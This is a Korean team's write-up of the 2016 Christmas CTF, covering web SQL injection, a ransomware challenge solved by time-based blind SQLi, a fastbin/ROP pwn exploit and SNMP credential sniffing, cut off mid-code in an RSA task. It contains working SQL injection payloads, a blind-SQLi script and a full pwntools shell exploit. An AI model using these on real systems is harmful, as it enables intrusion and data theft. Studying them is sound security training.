Uiseong Park zairo

Write-up

2016 Christmas CTF

2016 Christmas CTF Write-up
Team. RebForPwn(zairo, choiys, k3y6reak, holinder4s)

WEB - “U&I and Solo…”

문제에서 준 IP로 접속하게 되면 위와 같이 아이유의 팬페이지가 나온다. (웬일로 크리스탈이 아님..?)

위와 같이 페이지 소스에 주석처리가 되어있는 부분을 확인하였다. 해당 iu_fancafe.zip 파일을 다운로드 받게되면 다양한 파일이 존재하는데 그 중 가장 중요한 부분은 schema.sql와 index.php이다.

CREATE TABLE `image_list` (
  `idx` int(11) NOT NULL AUTO_INCREMENT,
  `uid` varchar(64) NOT NULL,
  `filename` varchar(100) NOT NULL,
  PRIMARY KEY (`idx`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

CREATE TABLE `member` (
  `uid` varchar(32) NOT NULL,
  `upw` varchar(32) NOT NULL,
  PRIMARY KEY (`uid`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

INSERT INTO `member` (`uid`, `upw`) VALUES
('admin',   'FLAG{**************hidden**************}');
<?php
  session_start();
  extract($_GET);
  extract($_POST);
  foreach ( $_GET as $key => $value ) $$key = addslashes($value);
  foreach ( $_POST as $key => $value ) $$key = addslashes($value);
  include("head.php");
  if($page == "login"){
  ?>
   <h3>Login</h3>
    <p>
      <form action="./?page=login_chk" method="POST">
      <table>
      <tr><td>ID</td><td><input type="text" name="uid" id="uid"></td>
      <td rowspan="3"><img src="./images/login.jpg" width="270" style="margin-left: 20px; margin-top: -38px; position:fixed;"></td></tr>
      <tr><td>PW</td><td colspan="2"><input type="text" name="upw" id="upw"></td></tr>
      <tr><td colspan="2"><input type="submit" value="Login" style="width: 100%;"></td></tr>
      </table>
      </form>
    </p>
  <?php
  }
  else if($page == "login_chk"){
    if(($uid) and ($upw)){
      echo "<h3>";
      include "dbconn.php";
      $mysql = dbconnect();
      $r = $mysql->query("select uid,upw from member where uid='{$uid}' and upw='{$upw}'");
    if($row = $r->fetch_assoc()){
      if($row){
          $_SESSION['uid'] = $row['uid'];
          exit("<script>alert('login success');location.href='/';</script>");
          }
      }
    }
    exit("<script>alert('login fail');history.go(-1);</script>");
  }
  else if($page == "join"){
  ?>
    <h3>Join</h3>
    <p>
      <form action="./?page=join_chk" method="POST">
      <table>
      <tr><td>ID</td><td><input type="text" name="uid" id="uid"></td>
      <td rowspan="3"><img src="./images/join.jpg" width="270" style="margin-left: 20px; margin-top: -38px; position:fixed;"></td></tr>
      <tr><td>PW</td><td colspan="2"><input type="text" name="upw" id="upw"></td></tr>
      <tr><td colspan="2"><input type="submit" value="Join" style="width: 100%;"></td></tr>
      </table>
      </form>
    </p>
  <?php
  }
  else if($page == "join_chk"){
    if(($uid) and ($upw)){
      if ( strlen($uid) < 5 ) die("<script>alert('too short...');history.go(-1);</script>");
      echo "<h3>";
      include "dbconn.php";
      $mysql = dbconnect();
      $r = $mysql->query("insert into member(uid,upw) values('{$uid}','{$upw}')");
      if($r){
        exit("<script>alert('join success');location.href='/';</script>");
      }
      else exit("<script>alert('join fail');history.go(-1);</script>");
    }
  }
  else if($page == "flag"){
    if($_SESSION['uid'] === "admin") { echo $FLAG; }
    else echo "FL@G?{This is not FLAG..ㅋㅋㅋㅋㅋㅋyou are not admin!!!!!!}";
  }
    else if($page == "me"){
    echo "<p>uid : {$_SESSION[uid]}</p><p>Cafe Position : IU♥</p>";
  }
  else if($page == "collection_list"){
      if($_SESSION['uid']){
          echo "<h3>Collection List</h3>Add Photo<form action='./index.php'><input type='hidden' name='page' value='collect'><input type='text' name='addr' placeholder='ex) http://127.0.0.1/images/iu_01.jpg' size=50><input type='submit'></form><hr/>";
          include "dbconn.php";
          $mysql = dbconnect();
          $r = $mysql->query("select * from image_list where uid='{$_SESSION['uid']}'");
          while($row = $r->fetch_array() ){
              echo "<img src='./uploads/$row[filename]' width='430'>";
          }
      }
      else exit("<script>alert('no! no!');history.go(-1);</script>");
  }
  else if($page == "collect"){
    if($_SESSION['uid'] and ($addr)){
        $info = parse_url($addr);
        if ( ($info['scheme'] !== 'http') and ($info['scheme'] !== 'https') ) { die("nono!"); }
        $p = file_get_contents($addr);
        if ($p == false) { die("nono!!"); }
        else{
          $filename = end(explode('/', $info['path']));
          file_put_contents("./uploads/$filename", $p);
          include "dbconn.php";
          $mysql = dbconnect();
          $r = $mysql->query("insert into image_list(uid, filename) values( '{$_SESSION[uid]}', '{$filename}' )");
          if($r){
            exit("<script>alert('Add success');history.go(-1);</script>");
          }
        }
        exit("<script>alert('Add fail');history.go(-1);</script>");
    }
  }
  else if($page == "photo"){
  ?>
      <h3>Photo</h3>
      <img src='./images/iu_02.jpg' width='430'>
      <img src='./images/iu_04.jpg' width='430'>
      <img src='./images/iu_05.jpg' width='430'>
  <?php
  }
  else if($page == "video"){
  ?>
    <h3>Music Video</h3>
    <p><iframe width="520" height="293" src="//www.youtube.com/embed/ym2ZM2KgHmM?rel=0" frameborder="0" allowfullscreen></iframe></p>
    <p><iframe width="520" height="293" src="//www.youtube.com/embed/f_iQRO5BdCM?rel=0" frameborder="0" allowfullscreen></iframe></p>
    <p><iframe width="520" height="293" src="//www.youtube.com/embed/mzYM9QKKWSg?rel=0" frameborder="0" allowfullscreen></iframe></p>
    <p><iframe width="520" height="293" src="//www.youtube.com/embed/jeqdYqsrsA0?rel=0" frameborder="0" allowfullscreen></iframe></p>
    <p><iframe width="520" height="293" src="//www.youtube.com/embed/EiVmQZwJhsA?rel=0" frameborder="0" allowfullscreen></iframe></p>
    <p><iframe width="520" height="293" src="//www.youtube.com/embed/npttud7NkL0?rel=0" frameborder="0" allowfullscreen></iframe></p>
  <?php
  }
  else if($page == "logout"){
    session_destroy();
    exit("<script>location.href='./';</script>");
  }
  else{
?>
    <h3>IU♥ ;-D</h3>
    <p><img src="./images/iu_01.jpg" width="430" style="position:fixed;"></p>
<?php
  }
  include("foot.php");
?>

먼저 schema.sql 파일을 통해 member 테이블의 admin계정의 upwFLAG가 저장되어 있다는 것을 알 수 있다. 이제 해당 upw의 값을 가져오기 위해 index.php를 분석해야 한다.

else if($page == "join_chk"){
    if(($uid) and ($upw)){
      if ( strlen($uid) < 5 ) die("<script>alert('too short...');history.go(-1);</script>");
      echo "<h3>";
      include "dbconn.php";
      $mysql = dbconnect();
      $r = $mysql->query("insert into member(uid,upw) values('{$uid}','{$upw}')");
      if($r){
        exit("<script>alert('join success');location.href='/';</script>");
      }
      else exit("<script>alert('join fail');history.go(-1);</script>");
    }
  }

index.php53~65행join_chk부분을 보면 insert문으로 uidupw를 삽입하는데, 이는 index.php의 상단에서 addslashes 함수를 사용하므로 single quotes를 사용하여 SQL Injection공격이 불가능하다.

else if($page == "login_chk"){
    if(($uid) and ($upw)){
      echo "<h3>";
      include "dbconn.php";
      $mysql = dbconnect();
      $r = $mysql->query("select uid,upw from member where uid='{$uid}' and upw='{$upw}'");
    if($row = $r->fetch_assoc()){
      if($row){
          $_SESSION['uid'] = $row['uid'];
          exit("<script>alert('login success');location.href='/';</script>");
          }
      }
    }
    exit("<script>alert('login fail');history.go(-1);</script>");
  }

하지만, index.php23~37행login_chk부분에서 저장되어 있는 uid를 가져와서$_SESSION['uid']에 저장한다.

예를 들어, test를 uid로 회원가입을 진행했다면 SQL query문에서는 ~ uid=’\’test’ ~ 로 되지만 실제로 DB에 저장될 때는 ‘test로 저장된다. 따라서 DB에 저장되어 있는 uid를 가져와서 재사용할때 Indirect SQL Injection 취약점이 발생한다.

이를 이용하여 공격할 수 있는 벡터는 아래와 같이 두 가지로 추려진다.

else if($page == "collection_list"){
      if($_SESSION['uid']){
          echo "<h3>Collection List</h3>Add Photo<form action='./index.php'><input type='hidden' name='page' value='collect'><input type='text' name='addr' placeholder='ex) http://127.0.0.1/images/iu_01.jpg' size=50><input type='submit'></form><hr/>";
          include "dbconn.php";
          $mysql = dbconnect();
          $r = $mysql->query("select * from image_list where uid='{$_SESSION['uid']}'");
          while($row = $r->fetch_array() ){
              echo "<img src='./uploads/$row[filename]' width='430'>";
          }
      }
      else exit("<script>alert('no! no!');history.go(-1);</script>");
  }
else if($page == "collect"){
    if($_SESSION['uid'] and ($addr)){
        $info = parse_url($addr);
        if ( ($info['scheme'] !== 'http') and ($info['scheme'] !== 'https') ) { die("nono!"); }
        $p = file_get_contents($addr);
        if ($p == false) { die("nono!!"); }
        else{
          $filename = end(explode('/', $info['path']));
          file_put_contents("./uploads/$filename", $p);
          include "dbconn.php";
          $mysql = dbconnect();
          $r = $mysql->query("insert into image_list(uid, filename) values( '{$_SESSION[uid]}', '{$filename}' )");
          if($r){
            exit("<script>alert('Add success');history.go(-1);</script>");
          }
        }
        exit("<script>alert('Add fail');history.go(-1);</script>");
    }
  }

두 가지 공격 벡터는

  • index.php 78행의 $r = $mysql->query("select * from image_list where uid='{$_SESSION['uid']}'");
  • index.php 96행의 $r = $mysql->query("insert into image_list(uid, filename) values( '{$_SESSION[uid]}', '{$filename}' )");

이다.

CREATE TABLE `member` (
  `uid` varchar(32) NOT NULL,
  `upw` varchar(32) NOT NULL,
  PRIMARY KEY (`uid`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

전자의 방법은 schema.sql을 살펴보면 알겠지만 uid의 최대 길이가 32글자이므로 'union select 1,2,upw from member*#*를 입력하더라도 34글자, 즉 길이를 넘겨버리므로 전자의 방법을 사용하여 adminupw를 알아내기는 어렵다.

그렇다면 후자의 방법인 subquery를 사용하여 image_list테이블의 filename으로 adminupw를 삽입한 후 이미지 목록을 출력하여 출력된 이미지의 이름을 보면 adminupw를 알 수 있다.

공격 벡터를 $r = $mysql->query("insert into image_list(uid, filename) values( '{$_SESSION[uid]}', '{$filename}' )"); 로 정했으므로 $_SESSION[uid] 에 zairo_',(select concat(upw, 를 입력한다.

또한 filename은 중간 부분에 공백이 들어갈 수 없고 foreach에서 GET, POST 파라미터가 addslash 함수를 사용해 필터링 되어 single quotes를 사용할 수 없으므로 )from(member)where(uid=0x61646d696e)))--%20 로 입력하면 최종적으로, insert into image_list(uid, filename) values( 'zairo_',(select concat(upw,', ')from(member)where(uid=0x61646d696e)))--%20')와 같은 쿼리문이 완성된다.

따라서 zairo_라는 사용자의 image_listFLAG가 출력 된다.

먼저, 이와 같은 방법을 시도 해보기 위해서 zairo_',(select concat(upw, 를 id로 가입한다.

정상적으로 가입이 완료되고 로그인 또한 잘 되는 것을 확인하였다. 이제 collect 페이지에서 filename의 값을 컨트롤 해야 한다.

그렇게 하기 위해서는 외부에 서버가 하나 필요한데 이는 python 코드를 사용하여 어떠한 요청이 와도 200 OK로 응답하도록 작성해두었다.

import time
import BaseHTTPServer

HOST_NAME = '0.0.0.0'
PORT_NUMBER = 8000 # Maybe set this to 9000.


class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
    def do_GET(s):
        s.send_response(200)
        s.send_header("Content-type", "text/html")
        s.end_headers()
        s.wfile.write("good")

if __name__ == '__main__':
    server_class = BaseHTTPServer.HTTPServer
    httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)
    print time.asctime(), "Server Starts - %s:%s" % (HOST_NAME, PORT_NUMBER)
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    print time.asctime(), "Server Stops - %s:%s" % (HOST_NAME, PORT_NUMBER)

위의 소스코드를 사용하면 HTTP 형식에 맞는 어떠한 요청이 와도 200 OK로 응답한다.

else if($page == "collect"){
    if($_SESSION['uid'] and ($addr)){
        $info = parse_url($addr);
        if ( ($info['scheme'] !== 'http') and ($info['scheme'] !== 'https') ) { die("nono!"); }
        $p = file_get_contents($addr);
        if ($p == false) { die("nono!!"); }
        else{
          $filename = end(explode('/', $info['path']));
          file_put_contents("./uploads/$filename", $p);
          include "dbconn.php";
          $mysql = dbconnect();
          $r = $mysql->query("insert into image_list(uid, filename) values( '{$_SESSION[uid]}', '{$filename}' )");
          if($r){
            exit("<script>alert('Add success');history.go(-1);</script>");
          }
        }
        exit("<script>alert('Add fail');history.go(-1);</script>");
    }
  }

위와 같이 collect 페이지에서 $filename을 제어하기 위해서 $addr에 내 서버 주소를 입력하여$filename에 값이 입력되도록 한다.

$addr 변수에 http://zairobot.com:8000/)from(member)where(uid=0x61646d696e)))–%20을 입력하여 $filename에 쿼리문이 입력되도록 한다.

위의 요청을 통해 insert문이 성공적으로 실행되어 Add success라는 메세지가 출력된다.

이후에 zairo_라는 계정으로 가입하여 로그인 한 후 collection_list 페이지에 접속하면 FLAG가 나오게 된다.

이제 $page 변수에 collection_list를 전송하여 이미지 목록을 살펴보면 FLAG를 확인할 수 있다.

(내용 추가)

진용휘님의 Write Up을 보고 소스코드를 다시 한 번 살펴보니 더 쉽게 풀 수 있는 방법이 존재했다.

extract($_GET);
extract($_POST);
foreach ( $_GET as $key => $value ) $$key = addslashes($value);
foreach ( $_POST as $key => $value ) $$key = addslashes($value);

index.php3~6행을 살펴보면 먼저 $_GETextract하여 저장한 후 foreach로 반복하며 addslashesquotes를 필터링 한다.

여기에서 $_GET_GET를 보내면 어떻게 될까?

extract함수를 이용하여 _GET이 $_GET으로 overwrite되며, foreach를 거치지 않으므로 모든 변수가 addslashes 함수로 필터링이 되지 않는다.

이를 이용하여 푸는 방법은, collection_list에서 query문에 입력되는 $_SESSION['uid']를 이용하여 푸는 방법이다.

$_SESSION['uid']'union select 1,2,upw from member where uid='admin'#를 입력한다.

위와 같이 정상적으로 FLAG가 출력되는 것을 확인할 수 있다.

flag: FLAG{dkdlrhqifTi2susWosp.wpswkd} (아이고뱔씨2년째네.젠장)


REV - “lanceware”

문제에서 주어진 주소로 접속을하면 lanceware.7z 파일을 다운로드 할 수 있다.

해당 파일을 압축해제하면 3개의 파일(문제설명.txt / flag.zip_enc / lanceware.exe)이 생성된다.

문제설명.txt의 내용은 아래와 같다.

    lanceware.exe           문제파일, 실행에 주의. 무작정 실행 시 바탕화면 파일 XOR됨

    flag.zip_enc               XOR 된 flag가 들어있는 압축 파일.

    flag                           바뀜바뀜!!

    – 풀이 방법 –
    1. 랜섬웨어 분석
    2. 통신서버 파악 (http://수정됨/수정됨/수정됨.php)
    3. 통신서버 SQLi로 뚫기
    4. xor key 얻어옴
    5. 복호화
    6. flag얻기

    * 웹 파트에서는 POST 값으로 mac 변수에다가
    ‘%2bs l e e p (1)#

    이런식으로 때려보시면 인젝션이 먹히는 것을 볼 수 있습니다..

먼저 해당 랜섬웨어가 어떤 서버와 통신을 하는지 알아야 하기 때문에 wireshark를 이용해 lanceware.exe를 실행시켜 패킷을 잡아 확인한다.

위와 같이 POST 방식으로 /7SZ6DA2W3K/ZVD6E5W329A.php 에 접근하는 것을 알 수 있다.

해당 패킷을 살펴보면 POST의 파라미터로 mac이 전송이 되는데, 이 부분에서 SQLi가 발생한다.

<strong>select mac from lanceware where mac='1'abc' limit 0,1 =&gt; error</strong>

위는 mac 파라미터에 1′ a b c 를 넣어 주었을 때의 response이다.

이를 통해 실행 되는 쿼리 정보와, %20과 같은 white space를 제거 한다는 사실을 알 수 있다.

또한 select, from, information_schema 등의 기본적인 SQL 구문을 필터링하는데, 위에서 알아낸 공백 치환을 이용하여 필터링을 우회 할 수 있다.

response에서 알아 낼 수 있는 정보가 없기 때문에 sleep을 이용한 time based blind SQLi로 테이블 내의 정보를 가져 올 수 있다.

해당 테이블에 있는 컬럼 정보를 확인해 보면 mac 뿐만 아니라 enc_key라는 컬럼 또한 존재하는 것을 알 수 있다.

#coding: utf-8
import requests
import time

url = "http://52.175.154.186/7SZ6DA2W3K/ZVD6E5W329A.php"

key = ""
for i in range(100):
    letter = ""
    tmp = key
    for j in range(8):
    #   msg = "1'\nor\nif((s elect\nsubstring(lpad(bin(ascii(substring(column_name,"+str(i+1)+",1))),8,0),"+str(j+1)+",1)\nf rom\ni nformation_schema.columns\nw here\ntable_schema=database()\nl imit\n1,1)=0,s leep(0.001),0)#"
        msg = "1'\nor\nif((s elect\nsubstring(lpad(bin(ascii(substring(enc_key,"+str(i+1)+",1))),8,0),"+str(j+1)+",1)\nf rom\nlanceware\nl imit\n0,1)=0,s leep(0.001),0)#"
        data = {
            "mac": msg,
        }
        start_time = time.time()
        r = requests.post(url, data=data)
        t = time.time()-start_time
        if t>0.15: letter += "0"
        else: letter += "1"
    if letter != "0"*8:
        key += chr(int(letter,2))
        print "[+] Find :", key
    else: break
print "\nDone!"
print "[*] Length :", i
print "[*] Key :", key

위와 같은 페이로드를 작성하여 해당 웹페이지로 날려주면 enc_key를 얻을 수 있다.

  • xor key : wpzYVdn3RuKah5lt

xor key 값인 wpzYVdn3RuKah5lt를 획득할 수 있다. 해당 값을 이용해서 xor 연산을 진행했더니 아래와 같았다.

#include <Windows.h>
#include <stdio.h>

int main(void)
{
    BYTE enc[] = { 0x27, 0x3B, 0x79, 0x5D, 0x5C, 0x64, 0x6E, 0x33, 0x52, 0x75, 0xB6, 0x09, 0xF0, 0x7C, 0x18, 0x39, 0x63, 0xA1, 0x66, 0x59, 0x56, 0x64, 0x72, 0x33, 0x52, 0x75, 0x43, 0x61, 0x68, 0x35, 0x0A, 0x18, 0x16, 0x17, 0x54, 0x2D, 0x2E, 0x10, 0x3A, 0x00, 0x63, 0x44, 0x14, 0x2C, 0x5B, 0x6A, 0x38, 0x3C, 0x43, 0x24, 0x25, 0x00, 0x66, 0x31, 0x2A, 0x6C, 0x10, 0x46, 0x14, 0x2C, 0x31, 0x6A, 0x2E, 0x40, 0x35, 0x29, 0x2A, 0x12, 0x57, 0x66, 0x51, 0x33, 0x58, 0x75, 0x4B, 0x61, 0x68, 0x35, 0x91, 0x1C, 0xEF, 0x39, 0x0E, 0x14, 0x42, 0xB5, 0x72, 0x33, 0x52, 0x75, 0x57, 0x61, 0x68, 0x35, 0x64, 0x74, 0x53, 0x70, 0x7A, 0x59, 0x56, 0x64, 0x6E, 0x33, 0x72, 0x75, 0x4B, 0x61, 0x68, 0x35, 0x6C, 0x74, 0x11, 0x1C, 0x1B, 0x3E, 0x78, 0x10, 0x16, 0x47, 0x58, 0x75, 0x6B, 0x61, 0x68, 0x35, 0x6C, 0x74, 0x76, 0x70, 0x62, 0x59, 0x2E, 0x46, 0xE4, 0x7D, 0xC9, 0x28, 0x99, 0x60, 0xED, 0xC3, 0x38, 0x0B, 0x75, 0x2A, 0xA8, 0x58, 0xD3, 0x92, 0x3A, 0x4C, 0x50, 0x2F, 0x99, 0x60, 0x38, 0x7E, 0x69, 0x72, 0x77, 0x70, 0x7A, 0x59, 0x57, 0x64, 0x6F, 0x33, 0x08, 0x75, 0x4B, 0x61, 0x2A, 0x35, 0x6C, 0x74, 0x77, 0x70 };
    char xor_key[] = "wpzYVdn3RuKah5lt";
    int i = 0, j = 0;

    for (i = 0; i < 178; i++)
    {
        printf("%02x ", enc[i] ^ xor_key[j]);
        j++;

        if (xor_key[j] == NULL)
        {
            j = 0;
        }

    }

    return 0;
}

해당 xor key 값을 이용해서 복호화를 진행하면 아래와 같이 정상적인 압축파일이 생성된다.

해당 압축파일을 압축해제하면 flag.txt가 생성된다.

처음 xor key 값을 WPZYVDN3RUKAH5LT 로 알아 해당 값을 이용하여 복호화를 한 결과 아래와 같이 zip file header 부분이 pk\x23\x04로 되어있어서 잘못 되었다.

이를 해결하기 위해 2016 HDCON에서 recme 문제를 떠올려 Signature를 보면서 수정을 한 결과 wpzY라는 것을 알 수 있었다.

이와 같은 방식으로 대소문자를 변경하면서 문제를 해결 할 수 있다.

flag: T311_M3_TH4T_Y0UD_B3_MY_B4BY


PWN - “who is solo”

[SUMMARY]

  1. 2가지 시나리오로 풀이가 가능함(fastbin attackunsorted bin attack)
  2. heap 취약점(fastbin overwrite)을 이용해 특정 주소에 read/write 가능 -> 원하는 메뉴(stack overflow 유발) 활성화
  3. 눈에 보이는 stack overflow 취약점을 이용해 memory leak
  4. libc baseleak -> ROP(oneshot 가젯 막기 위해 patched libc 사용) -> execl()/system() ROP 사용

[ANALYSIS] – SERVER.PY

  • (https://drive.google.com/open?id=0B12bAVEUfDg7Q3JYdmxkRnRMSms) – (solo binary)
  • (https://drive.google.com/open?id=0B12bAVEUfDg7a0ZTMDhORzVzVXc) – (patched_libc)

우선 이 문제는 대회 때는 풀지 못한 문제이고 출제자(s0nsari)의 말을 들어보니 문제를 푼 대부분의 사람들이 원래 의도한 unsorted bin attack으로 풀지 않고 fastbin attack으로 풀었다고 한다.

이 Write-up에서도 아직 unsorted bin attack에 대해 잘 모르고 익숙하지 않아 fastbin attack으로 exploit한 것에 대해 설명할 것이다.

이 문제를 실행하면 아래 그림과 같은 메뉴 선택 창이 나타난다.

총 5개의 메뉴가 있는데 1번은 말그대로 malloc()을 이용해서 힙 영역에 할당하는 메뉴, 2번도 말그대로 free()함수를 이용해 할당한 heapfree해주는 메뉴, 3번 list는 미구현, 4번 login은 나중에 분석하겠지만 특정 변수의 값을 체크하여 password를 묻는 기능을 가지고 있으며 간단한 bof취약점이 존재하는 메뉴이고, 5번은 프로그램 종료를 하는 메뉴이다.

이 바이너리를 IDA를 통해 확인해보면 main()함수는 아래 그림과 같다.

위 소스코드에 line number 40~46의 네 번째 로그인 메뉴에서 아주 간단한 bof 취약점이 있고 이를 트리거하기 위해서는 qword_602080 변수의 값이 0이 아니어야 하는데 여기에 값을 넣기 위해서는 malloc으로 할당한 후 free를 하고 숨겨진 메뉴(201527)을 통해 free chunkfd값을 overwrite 해야 한다.

따라서 fd0x602080이 있는 영역으로 수정하고 malloc을 두 번 해주면 2번째 malloc에서 fd의 값을 참조하여 힙을 할당하는데 그렇게 되면 0x602080 주소에 값을 집어넣을 수 있게 된다.

여기서 주의할 점이 하나 있는데 malloc할 때의 size가 중요하다. 처음 문제를 풀때에는 Input Size5로 주었다. (실제로 16바이트가 할당됨(allign))

그렇게 한 후 fd값을 변조하고 malloc을 2번 했더니 아래와 같은 에러가 뜨면서 제대로 할당이 되지 않았다.(fd 값은 할당받을 곳의 주소를 준다. -> 0x602080에 값을 써야하므로 header를 생각해서 0x602080-0x10값으로 변조를 해주었다.)

위와 같이 malloc()할당이 되지 않는 이유는 size를 제대로 안 맞춰 주었기 때문인데 5바이트만큼 할당 받겠다고 하면 malloc() 함수가 할당해주는 바이트는 처음엔 32bit 시스템에서는 16바이트 단위 그 뒤부터는 8바이트 단위로 할당하고, 64bit 시스템에서는 32바이트 단위 그 뒤부터는 16바이트 단위로 할당해준다. 그래서 위의 size 부분에 0x21 (prev_inuse bit 포함)이 들어 있는 것이다.

그런데 할당 받으려고 했던 0x602070 부분을 확인해보면 아래와 같이 size부분이 0인 것을 확인할 수 있고 실제 malloc구현부를 보면 이 size값을 체크하여 위와 같은 에러를 뱉어내는 것을 확인할 수 있고 우리는 이 size값도 맞춰줄 필요가 있다.

따라서 fdoverwrite할 때 0x60206d부분으로 덮어씌워 주면 size 부분이 아래와 같이 0x7f가 되고 우리는 size0x71 (prev_inuse bit 포함)가 되도록만 맞춰주면 된다. 따라서 0x71이 되도록 하는 바이트 범위는 0x59(89) ~ 0x68(104)이면 되므로 이렇게 바이트만 맞춰서 할당해주면 아무 문제 없이 malloc 할당이 이루어진다.

따라서 이렇게 할당이 이루어지고 난 후에는 modify 메뉴를 통해서 0x60206d 부분부터 값을 채워 0x6020800이 아닌 값을 집어넣고 login 메뉴를 활성화 시킨 후 일반적인 BOF 문제를 풀듯이 puts_plt메모리 릭을 한 후 libc base addr을 구하고 execl() ROP 페이로드를 작성한 후 exploit을 하면 된다. 자세한 사항은 아래 exploit code를 보면된다.

이 방법은 fastbin으로 푼 방식이고 실제로 unsorted 방식으로 푸는게 출제자의 의도라고 했는데 이 방법은 차후 공부를 좀 더 하고 업데이트를 할 계획이다.

[Exploit code] – solo_exploit.PY

from pwn import *

context(arch='i686',os='linux')
local=True
#local=False

if local:
    p = process("./solo")
else:
    p = remote("52.175.144.148", 9901)

binary = ELF("./solo")

puts_plt_addr = 0x400600
poprax_offset = 0x1b290
pop_rsi_r15_addr = 0x400d11
poprdi_addr = 0x400d13
start_addr = 0x4007b5
main_addr = 0x400680
puts_got_addr = 0x602020
read_got_addr = 0x602028

puts_offset = 0x6fd60
binsh_offset = 0x17c8c3
system_offset = 0x46590
execl_offset = 0xc14a0

binsh_addr = ''
system_addr = ''
execl_addr = ''
poprax_addr = ''
raw_input()

def print_menu(p):
    print p.recvuntil('$ ')

def select_malloc(p, chunk_num, size, data):
    print_menu(p)
    p.send("1\n")
    print p.recvuntil("Allocate Chunk Number: ")
    p.send(chunk_num+'\n')
    print p.recvuntil("Input Size: ")
    p.send(size+'\n')
    print p.recvuntil("Input Data: ")
    p.send(data+'\n')

def select_free(p, chunk_num):
    print_menu(p)
    p.send("2\n")
    print p.recvuntil("Free Chunk number: ")
    p.send(chunk_num+'\n')
    print p.recvline()

def select_modify(p, data):
    print_menu(p)
    p.send("201527\n")
    print p.recvuntil("Modify Data: ")
    p.send(data+'\n')

def select_login(p, passwd, stage_level=0):
    global binsh_addr, system_addr, execl_addr, poprax_addr
    if stage_level != 3:
        print_menu(p)
    p.send("4\n")
    print p.recv(1024)
    p.send(passwd+'\n')

def select_exit(p):
    print_menu(p)
    p.send("5\n")

################# Init ##################
#       Prepare Triggering Bug          #
#########################################
select_malloc(p, str(1), str(96), "A")
select_free(p, str(1))

################### stage 1 ####################
#   overwrite fd -> malloc()*2 arbitary alloc  #
################################################
stage1_payload = p64(0x60206d)
select_modify(p, stage1_payload)        # overwrite fd

select_malloc(p, str(1), str(96), "B")
select_malloc(p, str(1), str(96), "AAAA")   # allocate to 0x60207d

################## stage 2 #####################
#      Memory Leaking(for libc base addr)      #
################################################
stage2_payload = "X"*0x408
stage2_payload += p64(poprdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr)
#stage2_payload += p64(poprdi_addr) + p64(read_got_addr) + p64(puts_plt_addr)
stage2_payload += p64(start_addr)
stage2_payload += p64(main_addr)
select_login(p, stage2_payload)
select_exit(p)

leak_data = p.recv(1024); print leak_data
puts_leak_addr = (u64(leak_data[:8])) & 0x0000ffffffffffff
libc_base_addr = puts_leak_addr - puts_offset
binsh_addr = libc_base_addr + binsh_offset
system_addr = libc_base_addr + system_offset
execl_addr = libc_base_addr + execl_offset
poprax_addr = libc_base_addr + poprax_offset
print "[+] puts leak addr : " + hex(puts_leak_addr)
print "[+] libc's base addr : " + hex(libc_base_addr)
print "[+] /bin/sh addr : " + hex(binsh_addr)
print "[+] system() addr : " + hex(system_addr)
print "[+] execl() addr : " + hex(execl_addr)
print "[+] pop rax gadget addr : " + hex(poprax_addr)

#print p.recv(1024)
################## stage 3 #####################
#           Exploit : system("/bin/sh")        #
################################################ 
stage3_payload = "X"*0x408

##### system() rop #####  => Failed....!!!!!!!
#stage3_payload += p64(poprdi_addr) + p64(binsh_addr)
#stage3_payload += p64(poprax_addr) + p64(0) + p64(system_addr)

##### execl() rop #####
stage3_payload += p64(poprdi_addr) + p64(binsh_addr)
stage3_payload += p64(pop_rsi_r15_addr) + p64(0) + p64(0)
stage3_payload += p64(execl_addr)
select_login(p, stage3_payload, 3)
select_exit(p)

p.interactive()

[GET Shell~~!!!] – local


MISC - “NMS”

[Summary]

  1. 패킷 파일이 주어짐.
  2. NMS 쿼리(snmp)의 취약한 설정이 되어 있는 서버를 찾아야 함.
  3. 패킷을 와이어샤크로 보면 IP 대역이 딱 봐도 수상해 보이는 곳이 있음.
  4. 패킷은 네트워크 관리자 PC내부에서 캡처되었기 때문에 snmp community string(password)가 평문으로 노출.
  5. snmp-check라는 툴 사용

[analysis]

우선 문제를 보면 위 그림과 같다. 네트워크 담당자 PC에 침투한 이후 해커가 내부에서 패킷을 캡처한 상황으로 가정하였고, 취약한 설정을 가진 서버를 찾았다고 한다.

그리고 해당 패킷 파일을 던져주는데 간단히 와이어샤크의 StatisticsConversation 기능을 이용하여 TCP, UDP 세션을 살펴보던 중 UDP 세션에서 아래 그림과 같은 161번 포트를 사용하는 snmp 쿼리를 확인할 수 있었다.

특별한 점은 다른 IP대역(10.x.x.x, 174.x.x.x)은 get request 패킷만 보이는데 52.39.x.x의 IP는 get response 패킷까지 보이면서 snmp 쿼리가 정상 동작하는 것을 확인할 수 있었다. (문제의 이름이 NMS인 걸 보아 이 snmp패킷에 뭔가 있을 거라는 생각이 들었다) (cf. 패킷을 잘 살펴보면 scanning을 한 것처럼 보임.)

패킷을 잘 보면 snmpv2c를 사용하는 것을 알 수 있고, 이 버젼은 보안기능이 들어있지 않아 패킷이 평문으로 전송되면서 패스워드를 평문으로 전송한다.

위에서 얻을 수 있는 community stringpublicidcmonitoradmin이었다.

이렇게 탈취한 해당 community string을 이용하여 snmp-check라는 툴을 돌린 결과 아래 그림과 같이 flag가 뜨는 것을 확인할 수 있다.

[Get Flag~!!!]

snmp-check 52.175.155.146 -c idcmonitoradmin

flag: W0rk1ng_f0r_chris+m@s


MISC - “Stupid RSA”

[SUMMARY]

  1. 랜덤 문자열을 RSA 암호화하여 던져주고 사용자 입력을 받은 후 Encrypt하여 같은 문자열인지 검사.
  2. Ne가 주어진다.
  3. p, q를 구해야 한다. => d를 구할 수 있음.
  4. 랜덤이 랜덤이 아니다.

[ANALYSIS] – server.py

from socket import *
import sys
from time import *
import threading
from gmpy2 import *
import random, string

#======================================================================================
# function "xgcd" tackes positive integers a, b as input
# and return a triple (g, x, y), such that ax + by = g = gcd(a, b).
def xgcd(b, n):
    x0, x1, y0, y1 = 1, 0, 0, 1
    while n != 0:
        q, b, n = b // n, n, b % n
        x0, x1 = x1, x0 - q * x1
        y0, y1 = y1, y0 - q * y1
    return  b, x0, y0

# An application of extended GCD algorithm to finding modular inverses:
def mulinv(b, n):
    g, x, _ = xgcd(b, n)
    if g == 1:
        return x % n
